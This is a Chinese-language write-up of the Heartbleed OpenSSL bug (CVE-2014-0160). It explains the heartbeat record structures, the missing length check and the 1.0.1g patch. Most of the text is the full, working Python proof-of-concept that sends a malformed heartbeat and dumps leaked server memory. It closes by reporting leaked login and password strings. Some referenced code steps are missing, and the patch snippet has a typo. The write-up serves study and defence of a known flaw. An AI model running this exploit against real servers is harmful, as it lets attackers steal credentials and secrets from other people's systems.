Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
引用一下知乎上看到的一张图片,十分形象:
Openssl漏洞源码分析:
存在该漏洞的源文件有两个ssl/d1_both.c和ssl/t1_lib.c。
心跳处理逻辑分别是dtls1_process_heartbeat和tls1_process_heartbeat两个函数。
通过阅读RFC6520我们可以得到heartbeat的数据结构:
enum{
heartbeat_request(1),
heartbeat_response(2),
(255)
}HeartbeatMessageType;
struct{
HeartbeatMessageType type;
uint16 payload_length;
opaque payload[HeartbeatMessage.payload_length];
opaque padding[padding_length];
}HeartbeatMessage;
这条HeartbeatMessage通过SSL3_RECORD结构——一种SSL/TLS通信基础构建块——进行传输。SSL3_RECORD中的关键性字段如下所示,其中length代表接收到的HeartbeatMessage内容为多少字节、data则为指向该HeartbeatMessage的指针。
struct ssl3_record_st{
unsigned int length; /*How many bytes available*/
unsigned char *data; /*pointer to the record data*/
}SSL3_RECORD;
SSL3记录中的data指向接收到的HeartbeatMessage的起始位置,而length代表接收到的HeartbeatMessage的字节数量。与此同时,HeartbeatMessage中的payload_length代表被发回的随意有效负载的字节数量。
发出HeartbeatMessage的一方对payload_length拥有控制权,SSL3_RECORD中的length字段并没有经过验证、而这一状况就成了攻击者实现内存溢出绝佳机会。
攻击过程图:
攻击者在发出的HeartbeatMessage当中包含了仅为1字节的有效负载,这一情况也被反映在了SSL3的length记录当中;不过payload length字段要求有效负载长度应该为65535字节。受害者忽略了SSL3记录,转而从内存接收到的HeartbeatMessage起始处开始读取65535字节的数据并将其复制到缓存当中,最终以合适的长度发送回攻击者处。由于包含大量额外字节,上图中红色单元格所示即为可能导致信息泄露的数据部分。
以下代码为OpenSSL对HeartbeatMessage输入内容的处理方式,其中p为指向该信息起始处的指针:
1,获取心跳请求包对应的SSLv3记录中数据指针字段,指向request的请求数据部分。
2,
这样,信息类型就被体现在hbtype变量当中,该指针由1字节开始递增,而n2s()宏将长度为16-bit的Heartbeat有效负载写入到payload变量中并将该指针增加到2字节。接下来,pl又成为指向这部分有效负载内容的指针。
举例来说,一条Heartbeat信息中的payload length为65535字节,即:一条接收到的Heartbeat中最多可能包含64KB有效负载。代码必须将收到的HeartbeatMessage以副本形式发送回去,从而保证缓存区拥有足够的空间来保存64KB有效负载、1字节信息类型、2字节有效负载长度外加部分填充字节,具体结构如前所述。
3,
没有判断请求记录中的真正数据长度,直接用length字段的值来申请空间。
利用以下代码创建HeartbeatMessage回复结构,其中bp为指向HeartbeatMessage回复起始位置的指针:
4,
这部分代码会将响应类型写入到缓存起始位置、递增缓存指针、利用s2n()宏向内存中写入16-bit payload长度并以2字节为单位递增缓存指针,而后将payload的字节数量从接收到的有效负载中(pl)复制到用于回复的有效负载发送内容中。
payload由攻击者全面控制,而且64KB也足以容纳大量信息。假如由攻击者发送的HeartbeatMessage只拥有1字节有效负载,而且其payload length又与实际情况不符,那么以上代码中的memcpy()就会在接收到的HeartbeatMessage之外从起始处读取受害者的内存进程。如上攻击过程图
tls1_process_heartbeat函数的处理逻辑和dtls1_process_heartbeat一样,不再分析。
修复手段
OpenSSL 1.0.1g中的补丁从本质上讲就是一项边界检查,旨在利用SSL3结构(s3->rrec)中的正确长度记录描述输入的HeartbeatMessage。
hbtype=*p++;
n2s(p,payload);
if(1+2+payload+16>s->s3->rrec.length)
rerurn 0;
/*silently discard per RFC 6520 sec. 4*/
p1=p;
攻击:
网络上流传甚广的python POC文件:
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code
# Minor customizations by Malik Mesellem (@MME_IT)
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
在终端输入
在输出中发现login与password关键字已交泄露!
实现攻击!